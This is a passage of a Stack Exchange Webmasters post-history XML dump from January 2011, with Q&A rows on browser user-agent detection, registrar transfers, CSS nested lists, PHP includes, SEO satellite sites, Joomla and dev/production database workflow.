to implement something I need to do it *(they are a really good client so I'm happy to do what they ask.)*&#xD;&#xA;&#xD;&#xA;###UPDATE&#xD;&#xA;&#xD;&#xA;This requirement is **for the admin console, not the public site**; we'll support everything on the public site but we've heavily modified the WordPress admin console and we only want to have to test on the main three (3) browsers.  So feature detection is not really relevant here; this is a testing and support requirement, not a requirement for supporting specific features. &#xD;&#xA;&#xD;&#xA;And the project does not have the funding to support all browsers; it's just not realistic when there are probably only going to be 25 or 50 users of the admin console in total.&#xD;&#xA;&#xD;&#xA;Thanks in advance for your expertise.&#xD;&#xA;&#xD;&#xA;-Mike&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.howtocreate.co.uk/tutorials/jsexamples/sniffer.html&#xD;&#xA;  [2]: http://wordpress.stackexchange.com" />
  <row Id="16452" PostHistoryTypeId="25" PostId="7742" RevisionGUID="70a6f1c4-6f3c-465b-ac96-51432b5ee970" CreationDate="2011-01-14T13:55:32.673" Comment="http://twitter.com/#!/StackWebmasters/status/25913911819640832" />
  <row Id="16453" PostHistoryTypeId="2" PostId="7745" RevisionGUID="a7d83e7c-305e-4791-8b64-90bff0a674af" CreationDate="2011-01-14T14:02:50.840" UserId="2293" Text="The unique way I know to do that on server side is to analyze the User Agent HTTP Header.&#xD;&#xA;&#xD;&#xA;I know that using the get_browser function may be useful, or may be a pain in the a**. Because it depends on external files that can be outdated.&#xD;&#xA;&#xD;&#xA;The safe solution? None actually, but you can shortcut the browscap.ini file lookup to faster, safer solution (but will require more maintenance).&#xD;&#xA;&#xD;&#xA;Check the [list of http user agents][1], and just match the string you need against the HTTP UAs you receive.&#xD;&#xA;&#xD;&#xA;For example, IE 8 always send&#xD;&#xA;&#xD;&#xA;Mozilla/4.0 (compatible; **MSIE 8.0; Windows NT 5.1**; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) &#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;Mozilla/4.0 (compatible; **MSIE 8.0; Windows NT 6.0**; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648) &#xD;&#xA;&#xD;&#xA;Firefox always send:&#xD;&#xA;&#xD;&#xA;Mozilla/5.0 (xxx; xxx; xxxxxxx; xx-xx; rv:x.x.x.x) Gecko/2xxxxxxx **Firefox/3.6.x**&#xD;&#xA;&#xD;&#xA;Sarafi sends:&#xD;&#xA;&#xD;&#xA;Mozilla/5.0 (**Macintosh; U; PPC Mac OS X**; en-us) AppleWebKit/xxx.x (KHTML like Gecko) **Safari/5xx.x**&#xD;&#xA;&#xD;&#xA;  [1]: http://www.user-agents.org/index.shtml&#xD;&#xA;&#xD;&#xA;This is what you have. There is no solution further than this. Even javascript solutions use to work with these pre-defined values to provide platform and browser in the client side, hence these are the values javascript engine has to process.&#xD;&#xA;&#xD;&#xA;Thinking further, the main risks you inccur is a client trying to use IE7, IE9 beta, Firefox 3.5, Google Chrome and Opera 10+. Few people, if any actually, would try to access you page using FF 2.0 with HTTP User Agent Switcher or some odd browser.&#xD;&#xA;&#xD;&#xA;I know, this solution is far away from being perfect, or reliable enough, but you need to consider the scenario it is inserted, and the chances of someone use Dillo, IE 5.5 or Safari 2.0...." />
  <row Id="16454" PostHistoryTypeId="5" PostId="7738" RevisionGUID="b013cfad-f6d5-4f2b-a6cf-73ece6c1ca65" CreationDate="2011-01-14T14:20:21.590" UserId="1064" Comment="... explaining why this is a bad idea." Text="&lt;s&gt;`$_SERVER['HTTP_USER_AGENT']` contains the string you seek - how you parse it is up to you... [user-agents.org][1] provides examples of common contents.&lt;/s&gt;&#xD;&#xA;&#xD;&#xA;Apparently this problem comes up often enough that there's a function - [get_browser()][2] - which specifically addresses it so you're looking for something like this:&#xD;&#xA;&#xD;&#xA;    $user_agent = get_browser( $_SERVER['HTTP_USER_AGENT'] );&#xD;&#xA;&#xD;&#xA;... and from there you can apply appropriate checks against the returned object.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;To clarify why this is ultimately a bad idea: you have no control over when Microsoft, Mozilla/Firefox, and Safari decide to change their user agent strings - there is no magic bullet regular expression which will withstand arbitrary changes, there is no database which will not eventually be obsolete, et cetera.&#xD;&#xA;&#xD;&#xA;  [1]: http://user-agents.org/&#xD;&#xA;  [2]: http://php.net/manual/en/function.get-browser.php" />
  <row Id="16455" PostHistoryTypeId="5" PostId="7739" RevisionGUID="2e595c25-95bd-441e-a6cf-d9bd8d38d203" CreationDate="2011-01-14T14:27:07.337" UserId="1689" Comment="added that content is private" Text="Which advertising network has an API I can use to show my users targeted ads based on certain dictionary words present in their user-generated content, similar to GMail's targeted ads?&#xD;&#xA;&#xD;&#xA;**Edit:** The user-generated content is not public and is therefore not indexed by Google, so AdSense is not an option." />
  <row Id="16456" PostHistoryTypeId="2" PostId="7746" RevisionGUID="3fd66cf0-f031-43e3-81af-a9ec1ae097e5" CreationDate="2011-01-14T14:28:40.347" UserId="2552" Text="Yes. During the time it takes for all the servers on the web to update your domains records there is a possibility they will continue to redirect to the old location you were pointing at. This can cause some errors to be displayed to people trying to visit. I've never seen this take more than 24 hours personally, but I'm told it can take up to 48 hours.&#xD;&#xA;&#xD;&#xA;I wouldn't worry about it too much if you're only moving the domain name register and not the hosting as well." />
  <row Id="16457" PostHistoryTypeId="6" PostId="7732" RevisionGUID="afe41261-07ce-4ea4-966a-069c038db25d" CreationDate="2011-01-14T14:34:39.423" UserId="2552" Comment="edited tags" Text="&lt;html&gt;&lt;amazon&gt;&lt;quirks-mode&gt;" />
  <row Id="16458" PostHistoryTypeId="2" PostId="7747" RevisionGUID="876e81fd-309a-40f4-b4ed-78c7a881c137" CreationDate="2011-01-14T14:49:10.437" UserId="4011" Text="If you are not changing the hosting provider, you have almost no risk, the transfer can take up to 7 days for some registrar, but the way it work the domain will be at registrar 1, and when it complete it'll be at registrar 2, it won't be &quot;lost&quot; between them.&#xD;&#xA;&#xD;&#xA;What I mean is that the first registrar will disable it at the exact moment the second one enable it, well it 99% of the case we've done transfer.&#xD;&#xA;&#xD;&#xA;**If** however you change hosting too, then you must specify to the new registrar to change the DNS name as soon as the transfer is done, and you must make sure the file are already in the new hosting account, which can be accessed via his IP/~account-name&#xD;&#xA;&#xD;&#xA;i.e: aaa.bbb.ccc.ddd/~8letters usually (depend on the type of server, Linux, Windows...)" />
  <row Id="16459" PostHistoryTypeId="2" PostId="7748" RevisionGUID="dafa7d18-0233-41a5-96af-0ef105a6161c" CreationDate="2011-01-14T15:00:49.723" UserId="4011" Text="We had this kind of problem many time with a registrar I won't name here, because of their poor service. When this happen to one of our customer, we simply call the hosting and ask them to set the Admin Informations to our email/name, they can't refuse as **you** own the domain, once you can access the Admin e-mail you can accept the transfer yourself.&#xD;&#xA;&#xD;&#xA;After that, I would also recommend you to contact the Registration Autority for that extension, and tell the that the registrar has made it difficult for you to transfer out.&#xD;&#xA;&#xD;&#xA;I don't know the Autority for the .com name tho, for the .ca it's cira.ca." />
  <row Id="16460" PostHistoryTypeId="2" PostId="7749" RevisionGUID="07174886-c4c7-4bbf-8f99-c4c2ef49c73a" CreationDate="2011-01-14T15:10:15.247" UserId="4610" Text="Is there any way through CSS to style nested ordered lists to display sub numbers?&#xD;&#xA;&#xD;&#xA;The idea is similar to using heading levels. However what I'd really like to see is the following. Note each of these subsections has text not just a title. This isn't a real example just some organisational stuff.&#xD;&#xA;&#xD;&#xA;Now I know I can use `&lt;h1&gt;-&lt;h6&gt;` but nested lists would be much clearer and allow for different indentation styling. Also it would be symentically correct. Note I don't think that `&lt;h1&gt;-&lt;h6&gt;` are correct in many ways as the name doesn't apply to the whole section.&#xD;&#xA;&#xD;&#xA;    1 Introduction.&#xD;&#xA;      1.1 Scope&#xD;&#xA;          Blah Blah Blah&#xD;&#xA;          Blah Blah Blah&#xD;&#xA;&#xD;&#xA;      1.2 Purpose&#xD;&#xA;          Blah Blah Blah&#xD;&#xA;          Blah Blah Blah&#xD;&#xA;    2 Cars&#xD;&#xA;&#xD;&#xA;          Blah Blah Blah&#xD;&#xA;          Blah Blah Blah&#xD;&#xA;      2.1 engines&#xD;&#xA;            sub Blah Blah Blah&#xD;&#xA;            sub Blah Blah Blah&#xD;&#xA;      2.2 Wheels&#xD;&#xA;      ...&#xD;&#xA;      ...&#xD;&#xA;        2.10.21 hub caps&#xD;&#xA;              sub-sub Blah Blah Blah&#xD;&#xA;              sub-sub Blah Blah Blah&#xD;&#xA;          2.10.21.1 hub cap paint&#xD;&#xA;                sub-sub-sub Blah Blah Blah&#xD;&#xA;                sub-sub-sub Blah Blah Blah&#xD;&#xA;&#xD;&#xA;    3 Planes&#xD;&#xA;      3.1 Commercial Airlines.&#xD;&#xA;    ...&#xD;&#xA;    ...&#xD;&#xA;    212 Glossary&#xD;&#xA;" />
  <row Id="16461" PostHistoryTypeId="1" PostId="7749" RevisionGUID="07174886-c4c7-4bbf-8f99-c4c2ef49c73a" CreationDate="2011-01-14T15:10:15.247" UserId="4610" Text="How to number nested ordered lists." />
  <row Id="16462" PostHistoryTypeId="3" PostId="7749" RevisionGUID="07174886-c4c7-4bbf-8f99-c4c2ef49c73a" CreationDate="2011-01-14T15:10:15.247" UserId="4610" Text="&lt;css&gt;&lt;semantic-web&gt;" />
  <row Id="16463" PostHistoryTypeId="2" PostId="7750" RevisionGUID="45c1d62a-6540-474f-a944-9bd2aacfedd5" CreationDate="2011-01-14T15:52:45.207" UserId="1757" Text="If what you're trying to do is to identify the dominant browsers being used so you can test with those specific browsers, then recording user-agent strings should be enough. Sure, there will be an error margin due to spoofed user-agent strings, but you don't need total accuracy for your application. What difference does it make if IE6 represents 10% of your userbase or 10.5%? If 1-2% of users have obscure or unidentifiable browsers, that's probably not enough to shift the browsers you'll officially support.&#xD;&#xA;&#xD;&#xA;And there's a reason why many browsers lie about their identities or try to disguise themselves as someone else. It's precisely because of this kind of preemptive exclusion that they need to do this. If there's some obscure browser out there that uses the same Trident engine as IE8, then why should they be turned away from sites or served a more basic version of the page just because the web developer has never heard of that particular browser? If it can render the page just as well as IE8, it's not your place to tell the user that their browser is insufficient and that they need to &quot;upgrade&quot; to some other browser. That's why feature detection is preferred (and is still completely relevant to your situation). It avoids arbitrarily treating unknown/future browsers as second-class citizens and it sidesteps the problems with browser detection.&#xD;&#xA;&#xD;&#xA;Lastly, given that you now say there are only 50 users total that will be using this admin area, there is all the more reason to just identify browser usage patterns via user research. Just log the user-agent string on sign-on or via a test page emailed to users and then analyze the logs manually and you can quickly identify the top 3 browsers. You can re-assess the browser distribution every so often so you can keep up with new browsers.&#xD;&#xA;&#xD;&#xA;Though given that you're only going to support the top 3 browsers, you can probably just look up the stats on the W3C site, since they're basically the same for most sites, just in different order for different demographics." />
  <row Id="16464" PostHistoryTypeId="10" PostId="7749" RevisionGUID="644fb024-4ddf-446a-b29d-de4bcfa178c1" CreationDate="2011-01-14T16:16:57.877" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="16465" PostHistoryTypeId="2" PostId="7751" RevisionGUID="177b5460-efcc-4baa-a37c-e0a7877c68c2" CreationDate="2011-01-14T16:50:02.527" UserDisplayName="Johnson Smith" Text="I want to have a sidebar in my website with navigation in it. &#xD;&#xA;I will use script like phpBB etc. but I want sidebar to be displayed on every page.&#xD;&#xA; &#xD;&#xA;So I am thinking about making a Sidebar in HTML and then using frame tag for displaying other pages/scripts.&#xD;&#xA;&#xD;&#xA;But as Frames are getting obsolute, Is there any other method to display a sidebar in everypage without using frames and without adding html coding on every page?" />
  <row Id="16466" PostHistoryTypeId="1" PostId="7751" RevisionGUID="177b5460-efcc-4baa-a37c-e0a7877c68c2" CreationDate="2011-01-14T16:50:02.527" UserDisplayName="Johnson Smith" Text="Sidebar for Navigation in Website" />
  <row Id="16467" PostHistoryTypeId="3" PostId="7751" RevisionGUID="177b5460-efcc-4baa-a37c-e0a7877c68c2" CreationDate="2011-01-14T16:50:02.527" UserDisplayName="Johnson Smith" Text="&lt;html&gt;&lt;php&gt;&lt;javascript&gt;&lt;jquery&gt;&lt;ajax&gt;" />
  <row Id="16468" PostHistoryTypeId="25" PostId="7749" RevisionGUID="229a60fb-493e-4b66-8e3e-994cdd3658aa" CreationDate="2011-01-14T16:55:32.613" Comment="http://twitter.com/#!/StackWebmasters/status/25959209350733824" />
  <row Id="16469" PostHistoryTypeId="2" PostId="7752" RevisionGUID="42ec1945-68d9-41d9-8355-3f3f6b312b70" CreationDate="2011-01-14T16:59:15.623" UserId="3310" Text="Probably because their site is massive and the work required to update it all and test that it looks right across the site in all browsers is a huge amount of effort for little or no gain.&#xD;&#xA;&#xD;&#xA;The browser world changes so rapidly, you can look at pretty much any major site and they will be using something that has a newer better alternative." />
  <row Id="16470" PostHistoryTypeId="2" PostId="7753" RevisionGUID="591c2a82-494c-4f82-b35e-54eecd9e1e21" CreationDate="2011-01-14T17:06:02.017" UserId="4616" Text="Yes, frames are getting obsolete. Other methods that allow you to include a single element onto multiple pages include [SSI][1], or a single JavaScript script that adds the element to each page (and each page then calls the single SSI or JS, which can be edited once to update the whole site).&#xD;&#xA;&#xD;&#xA;You mention PHP, which can be used to have common elements across a site. You can include a separate PHP script with the `include()` function, which can include a separate script that draws the navigation. Or you can implement a whole template system, like [Smarty][2], which gives lots of control.&#xD;&#xA;&#xD;&#xA;You will have to add some HTML (or PHP or JS if you go that route) to each page, but only a small call to an external source. Ideally the call to the included sidebar won't change in the long run, and any changes to the sidebar will be done in the sidebar file (one edit that updates the sidebar across the site).&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Server_Side_Includes&#xD;&#xA;  [2]: http://www.smarty.net/" />
  <row Id="16471" PostHistoryTypeId="2" PostId="7754" RevisionGUID="e0d6bf5d-cc69-4943-95e2-3d60ef0edaa6" CreationDate="2011-01-14T18:44:02.787" UserId="4619" Text="I am working with a client who's read about satellite sites on a SEP book and has been building hundreds of keyword reach domains (buytoyotacorona1989cheap.com, brandnewsuvinred.com) with specific content about such domains.&#xD;&#xA;They all link to a main domain (CompanyName.com) where most of the information is either repeated(from other sites) or new.&#xD;&#xA;&#xD;&#xA;I told him to drop all the other domains and only focus on building good content for the main site as it is too difficult to maintain so many websites, plus they might look like link farms to Google.&#xD;&#xA;&#xD;&#xA;He told me to make a Google search for &quot;Buy Toyota cheap &lt;mycity&gt;&quot; and two of his websites were listed among top 10.&#xD;&#xA;&#xD;&#xA;So it's seem to be doing _some_ good, but I get the feeling that what he is doing is wrong. What other arguments are there to discourage this practice? or is he doing the right thing?&#xD;&#xA;&#xD;&#xA;My arguments have helped him to decide go down from hundreds to close to one hundred (because cost of maintainance) but I believe he should only have one or two sites.&#xD;&#xA;&#xD;&#xA;PS: The business is not actually about cars." />
  <row Id="16472" PostHistoryTypeId="1" PostId="7754" RevisionGUID="e0d6bf5d-cc69-4943-95e2-3d60ef0edaa6" CreationDate="2011-01-14T18:44:02.787" UserId="4619" Text="Arguments for discouraging satellite sites?" />
  <row Id="16473" PostHistoryTypeId="3" PostId="7754" RevisionGUID="e0d6bf5d-cc69-4943-95e2-3d60ef0edaa6" CreationDate="2011-01-14T18:44:02.787" UserId="4619" Text="&lt;seo&gt;" />
  <row Id="16474" PostHistoryTypeId="25" PostId="7751" RevisionGUID="eef25770-b326-4955-b207-7d99ee91faf1" CreationDate="2011-01-14T19:55:33.370" Comment="http://twitter.com/#!/StackWebmasters/status/26004511738826753" />
  <row Id="16475" PostHistoryTypeId="2" PostId="7755" RevisionGUID="09083335-75ba-4942-a034-7a1a598c87ae" CreationDate="2011-01-14T20:30:55.707" UserDisplayName="Joshua" Text="Does Google index dynamic loading page?&#xD;&#xA;&#xD;&#xA;**For example**&#xD;&#xA;&#xD;&#xA;*index.html*&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;dynamic_message&quot;&gt;&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;*index.html after few seconds*&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;dynamic_message&quot;&gt;Hello Google, do you see me?&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;Will Google index div#dynamic_message? Thanks.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="16476" PostHistoryTypeId="1" PostId="7755" RevisionGUID="09083335-75ba-4942-a034-7a1a598c87ae" CreationDate="2011-01-14T20:30:55.707" UserDisplayName="Joshua" Text="Indexing dynamic loading page" />
  <row Id="16477" PostHistoryTypeId="3" PostId="7755" RevisionGUID="09083335-75ba-4942-a034-7a1a598c87ae" CreationDate="2011-01-14T20:30:55.707" UserDisplayName="Joshua" Text="&lt;google&gt;&lt;indexing&gt;&lt;ajax&gt;" />
  <row Id="16478" PostHistoryTypeId="2" PostId="7756" RevisionGUID="399a34d9-0299-46bb-8457-1811e077fada" CreationDate="2011-01-14T20:53:08.743" UserId="4625" Text="What's the standard way to keep the same menu on top among different web pages without having to duplicate it on each page (I don't mean that it doesn't reload like when using frames and only loading the bottom part; I want the menu to scroll with the page when scrolling down, like [this][1], [this][2], [this][3] and pretty much every single web page that exists). I found [this][4] answer but the guy can't use Php and I can. Plus, I see several people giving different suggestions, but I assume there is a standard since pretty much every single web page in the whole web have a menu on top that stays the same among multiple pages . I'm just a newbie on web design (I can program Php and Html easily but I have no idea about standards and stuff like that since I'm self-taught guy ;)).&#xD;&#xA;&#xD;&#xA;What I would normally do is to include the menu with php but I'm not sure if this is the &quot;standard&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3schools.com/sql/default.asp&#xD;&#xA;  [2]: http://www.google.com/#sclient=psy&amp;hl=en&amp;q=hi&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;pbx=1&amp;fp=f478bdfafcb0c911&#xD;&#xA;  [3]: http://www.ehawaii.gov/dakine/index.html&#xD;&#xA;  [4]: http://webmasters.stackexchange.com/questions/7159/how-to-keep-menu-in-a-single-place-without-using-frames" />
  <row Id="16479" PostHistoryTypeId="1" PostId="7756" RevisionGUID="399a34d9-0299-46bb-8457-1811e077fada" CreationDate="2011-01-14T20:53:08.743" UserId="4625" Text="Most standard / Best way to keep the same top menu among different web pages?" />
  <row Id="16480" PostHistoryTypeId="3" PostId="7756" RevisionGUID="399a34d9-0299-46bb-8457-1811e077fada" CreationDate="2011-01-14T20:53:08.743" UserId="4625" Text="&lt;html&gt;&lt;php&gt;&lt;standards&gt;" />
  <row Id="16481" PostHistoryTypeId="2" PostId="7757" RevisionGUID="73092e23-3073-48de-bde5-e9bd20c61c0e" CreationDate="2011-01-14T21:18:58.677" UserDisplayName="voxobscuro" Text="I have Photoshop CS3 and I need to do a batch on a lot of pictures before I upload them.  The pictures need to fit in an 600x800 box, yet be as big as possible within that box.&#xD;&#xA;&#xD;&#xA;Some of them are much wider than taller and others are more tall than wide.  I am trying to put together a photoshop action that will rotate, resize, and fill pictures as needed to make them as big as possible while staying within the 600x800 box.&#xD;&#xA;&#xD;&#xA;The only thing I haven't gotten sorted out is how to tell photoshop to rotate the image 90 degrees if that will allow the picture to be bigger within the constraints.  Any ideas?" />
  <row Id="16482" PostHistoryTypeId="1" PostId="7757" RevisionGUID="73092e23-3073-48de-bde5-e9bd20c61c0e" CreationDate="2011-01-14T21:18:58.677" UserDisplayName="voxobscuro" Text="Using photoshop actions to decide if an image needs to be rotated" />
  <row Id="16483" PostHistoryTypeId="3" PostId="7757" RevisionGUID="73092e23-3073-48de-bde5-e9bd20c61c0e" CreationDate="2011-01-14T21:18:58.677" UserDisplayName="voxobscuro" Text="&lt;photoshop&gt;" />
  <row Id="16484" PostHistoryTypeId="2" PostId="7758" RevisionGUID="d95f2baf-9130-47c9-9ffb-616b63ed5ff1" CreationDate="2011-01-14T21:24:06.060" UserId="1253" Text="Google only sees the HTML your code produces. It doesn't matter if it is hard coded HTML/text or produced by a server side programming language and/or drawn from a database. So as long as your dynamic web pages are not blocked (e,g, robots.txt, etc) then that content will be indexed." />
  <row Id="16485" PostHistoryTypeId="2" PostId="7759" RevisionGUID="4f088bd1-6210-498d-ac82-3903153a8acd" CreationDate="2011-01-14T21:28:09.037" UserId="1253" Text="There is no standard. Do it however is best for you. I'd elaborate but I really think it is that simple. This seems like a case of over thinking something that is really as simple as it seems. :)" />
  <row Id="16486" PostHistoryTypeId="12" PostId="7758" RevisionGUID="58e4ceed-22d6-4621-8ac4-9dfae19caf6d" CreationDate="2011-01-14T21:41:22.043" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="16487" PostHistoryTypeId="5" PostId="7758" RevisionGUID="1b923af2-33a8-45e8-9b29-bf80bed84324" CreationDate="2011-01-14T21:52:20.023" UserId="1253" Comment="deleted 74 characters in body" Text="Google can index dynamic content if you [follow their proposal for allowing such content to be indexed][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2009/10/proposal-for-making-ajax-crawlable.html" />
  <row Id="16488" PostHistoryTypeId="13" PostId="7758" RevisionGUID="0c2a0cef-1075-427d-810e-633b9cc18c4f" CreationDate="2011-01-14T21:52:27.623" UserId="1253" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="16495" PostHistoryTypeId="2" PostId="7761" RevisionGUID="1edd3dc2-4b25-4c9e-a726-c43985d32854" CreationDate="2011-01-14T22:28:25.007" UserId="4021" Text="Here's everything I can think of.  Most of these can be rebutted in some way, but I think you're right to pile on as many arguments as you can.&#xD;&#xA;&#xD;&#xA;- Google has stated that they are scrutinizing &quot;exact match domains&quot; so I would expect any change to be negative for his sites.  This strategy may not survive 2011.&#xD;&#xA;- If you aren't careful, hosting, registration, and administrative fees can be similar to the same traffic produced from paid search.&#xD;&#xA;- Link building will become necessary for long-term success, and it is orders of magnitude more difficult with microsites (are you going to produce hundreds of infographics?).&#xD;&#xA;- You lose the positive benefits of whatever halo-of-trust (i.e. domain backlinks, etc.) your primary site enjoys.&#xD;&#xA;- You'll never be able to create as good of an end-user experience on hundreds of sites as you can by focusing dev effort on one, so your bounce rates will be high and you'll lose traffic as fast as you get it.&#xD;&#xA;- Domains like these look spammy to end-users (to convince him, fire up a UserTesting.com usability study of the SERPs where he appears and ask users what they think of his website).  Users will filter out his pages, which will hurt his SERP CTR and as Google places more emphasis on this, he'll suffer." />
  <row Id="16496" PostHistoryTypeId="25" PostId="7755" RevisionGUID="4e609817-f097-496f-99e1-2343b21a2084" CreationDate="2011-01-14T22:55:33.647" Comment="http://twitter.com/#!/StackWebmasters/status/26049811698417664" />
  <row Id="16497" PostHistoryTypeId="2" PostId="7762" RevisionGUID="1461b0e1-d634-4b03-8bec-5a69a6c9f022" CreationDate="2011-01-14T22:56:45.000" UserId="1041" Text="For this weekend's &lt;a href=&quot;http://givecamp.org/&quot;&gt;GiveCamp&lt;/a&gt; project, my team has been tasked with adding some functionality to an existing Joomla-powered website for a non-profit.&#xD;&#xA;&#xD;&#xA;A certain type of user will login, and have access to a personal area where they can upload files, check for messages, see tasks that have been assigned, etc.&#xD;&#xA;&#xD;&#xA;Each user would have their own area. They would not be creating pages, and their information would only be visible to themselves (or a site-administrator, of course. No sort of weird HIPAA privacy involved).&#xD;&#xA;&#xD;&#xA;None of us have worked with Joomla before, but we'd like to help this non-profit. We're not sure if we're searching using the wrong terms, or if we're just not finding it.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://www.joomlapolis.com/community-builder&quot;&gt;Community Builder&lt;/a&gt; seems to have some of what we want -- but offers way more than the client wants.&#xD;&#xA;&#xD;&#xA;Is such a solution possible in Joomla without using community builder? And/or are we better off building some standalone solution that interfaces with the same mySQL database as Joomla?" />
  <row Id="16498" PostHistoryTypeId="1" PostId="7762" RevisionGUID="1461b0e1-d634-4b03-8bec-5a69a6c9f022" CreationDate="2011-01-14T22:56:45.000" UserId="1041" Text="How can I set up private, per-user sections on Joomla?" />
  <row Id="16499" PostHistoryTypeId="3" PostId="7762" RevisionGUID="1461b0e1-d634-4b03-8bec-5a69a6c9f022" CreationDate="2011-01-14T22:56:45.000" UserId="1041" Text="&lt;cms&gt;&lt;joomla&gt;" />
  <row Id="16500" PostHistoryTypeId="2" PostId="7763" RevisionGUID="3fead4bc-ab4f-405a-a5f3-b075e3d5b089" CreationDate="2011-01-14T23:26:57.927" UserId="1757" Text="It is pretty simple, but in case you're still having trouble, the most basic way to do it is to just use [`include()`][1] or [`require()`][2] to include the menu file at that particular location of the document.&#xD;&#xA;&#xD;&#xA;However, if you're already thinking of things in terms of maintainability and best practices, then you should probably just be using a templating system. So you'd have a template with your header and footer that includes the various reusable components and spits out your content in between.&#xD;&#xA;&#xD;&#xA;If you don't know how to set something like this up, I'd just look into the various [MVC][3] frameworks out there (e.g. CakePHP). Using an MVC pattern (or something comparable) that separates your flow logic, business logic, and presentational code is another best practice. This is far better than having a bunch of individual pages with the same `include`/`require` statements, duplicate HTML, and having all of your code mixed in together.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.php.net/manual/en/function.include.php&#xD;&#xA;  [2]: http://www.php.net/require&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller" />
  <row Id="16501" PostHistoryTypeId="2" PostId="7764" RevisionGUID="2f04bb16-25aa-46b1-ac7e-ff62d4fe6437" CreationDate="2011-01-14T23:34:50.993" UserId="1757" Text="Look into [Photoshop scripting][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.adobe.com/content/dam/Adobe/en/devnet/photoshop/pdfs/photoshop_cs4_javascript_ref.pdf" />
  <row Id="16502" PostHistoryTypeId="5" PostId="7762" RevisionGUID="a2fea7d7-e51d-4fe4-b08e-d2a2866e1908" CreationDate="2011-01-14T23:56:36.737" UserId="1041" Comment="homepage term, more on community builder. can turn off components?" Text="For this weekend's &lt;a href=&quot;http://givecamp.org/&quot;&gt;GiveCamp&lt;/a&gt; project, my team has been tasked with adding some functionality to an existing Joomla-powered website for a non-profit.&#xD;&#xA;&#xD;&#xA;A certain type of user will login, and have access to a personal area where they can upload files, check for messages, see tasks that have been assigned, etc.&#xD;&#xA;&#xD;&#xA;Each user would have their own private homepage They would not be creating additional pages, and their information would only be visible to themselves (or a site-administrator, of course).&#xD;&#xA;&#xD;&#xA;None of us have worked with Joomla before, but we'd like to help this non-profit. We're not sure if we're searching using the wrong terms, or if we're just not finding it.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://www.joomlapolis.com/community-builder&quot;&gt;Community Builder&lt;/a&gt; seems to have some of what we want -- but offers way more than the client wants.&#xD;&#xA;&#xD;&#xA;Is such a solution possible in Joomla without using community builder? Or can we turn off almost everything to get limited functionality? And/or are we better off building some standalone solution that interfaces with the same mySQL database as Joomla?" />
  <row Id="16503" PostHistoryTypeId="6" PostId="7762" RevisionGUID="a2fea7d7-e51d-4fe4-b08e-d2a2866e1908" CreationDate="2011-01-14T23:56:36.737" UserId="1041" Comment="homepage term, more on community builder. can turn off components?" Text="&lt;cms&gt;&lt;joomla&gt;&lt;community-management&gt;&lt;homepage&gt;" />
  <row Id="16504" PostHistoryTypeId="25" PostId="7762" RevisionGUID="51e41ccd-85e4-451c-855e-50ec886b5f69" CreationDate="2011-01-15T01:55:34.040" Comment="http://twitter.com/#!/StackWebmasters/status/26095110303256576" />
  <row Id="16505" PostHistoryTypeId="2" PostId="7765" RevisionGUID="7f0614fa-969b-417b-aa51-ea56bd166657" CreationDate="2011-01-15T03:21:13.890" UserId="2699" Text="For a while now I've been keeping a website I'm developing in the standard dev/production phases. Its been pretty simple: Mercurial repo for dev, repo for production. Do work in dev, get approved, push to production.&#xD;&#xA;&#xD;&#xA;But now I'm trying to apply this process to a new website that has a database and am struggling on how to figure out a development strategy. What I didn't mention above is that I do all my work on my own repo, push it to dev, then later push it to production, so its 3 different servers. So how do I manage my database?&#xD;&#xA;&#xD;&#xA;The obvious solution of mysqldump every commit isn't going to happen, and a dump at the end of the day isn't all that helpful when you want to undo later one change that happened in the middle of the day. &#xD;&#xA;&#xD;&#xA;What is the best way to accomplish this?" />
  <row Id="16506" PostHistoryTypeId="1" PostId="7765" RevisionGUID="7f0614fa-969b-417b-aa51-ea56bd166657" CreationDate="2011-01-15T03:21:13.890" UserId="2699" Text="What to do with database in dev/production phases of a website?" />
  <row Id="16507" PostHistoryTypeId="3" PostId="7765" RevisionGUID="7f0614fa-969b-417b-aa51-ea56bd166657" CreationDate="2011-01-15T03:21:13.890" UserId="2699" Text="&lt;web-development&gt;&lt;database&gt;&lt;development&gt;" />
  <row Id="16508" PostHistoryTypeId="25" PostId="7765" RevisionGUID="f0b93464-c29d-4c56-9f5e-97517c16583c" CreationDate="2011-01-15T04:55:34.660" Comment="http://twitter.com/#!/StackWebmasters/status/26140412540358656" />
